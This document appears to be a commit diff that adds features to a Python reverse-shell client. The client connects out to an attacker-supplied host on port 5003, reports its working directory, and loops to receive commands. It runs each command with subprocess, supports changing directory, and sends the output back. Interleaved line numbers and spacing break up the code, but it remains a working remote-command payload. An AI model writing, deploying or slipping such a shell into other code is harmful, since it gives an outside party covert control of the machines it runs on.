1
1
import socket
2
+ import os
2
3
import subprocess
3
4
import sys
4
5
5
6
SERVER_HOST = sys .argv [1 ]
6
7
SERVER_PORT = 5003
7
- BUFFER_SIZE = 1024
8
+ BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
9
+ # separator string for sending 2 messages in one go
10
+ SEPARATOR = "<sep>"
8
11
9
12
# create the socket object
10
13
s = socket .socket ()
11
14
# connect to the server
12
15
s .connect ((SERVER_HOST , SERVER_PORT ))
13
-
14
- # receive the greeting message
15
- message = s .recv (BUFFER_SIZE ).decode ()
16
- print ("Server:" , message )
16
+ # get the current directory
17
+ cwd = os .getcwd ()
18
+ s .send (cwd .encode ())
17
19
18
20
while True :
19
21
# receive the command from the server
20
22
command = s .recv (BUFFER_SIZE ).decode ()
23
+ splited_command = command .split ()
21
24
if command .lower () == "exit" :
22
25
# if the command is exit, just break out of the loop
23
26
break
24
- # execute the command and retrieve the results
25
- output = subprocess .getoutput (command )
27
+ if splited_command [0 ].lower () == "cd" :
28
+ # cd command, change directory
29
+ try :
30
+ os .chdir (' ' .join (splited_command [1 :]))
31
+ except FileNotFoundError as e :
32
+ # if there is an error, set as the output
33
+ output = str (e )
34
+ else :
35
+ # if operation is successful, empty message
36
+ output = ""
37
+ else :
38
+ # execute the command and retrieve the results
39
+ output = subprocess .getoutput (command )
40
+ # get the current working directory as output
41
+ cwd = os .getcwd ()
26
42
# send the results back to the server
27
- s .send (output .encode ())
43
+ message = f"{ output } { SEPARATOR } { cwd } "
44
+ s .send (message .encode ())
28
45
# close client connection
29
46
s .close ()
0 commit comments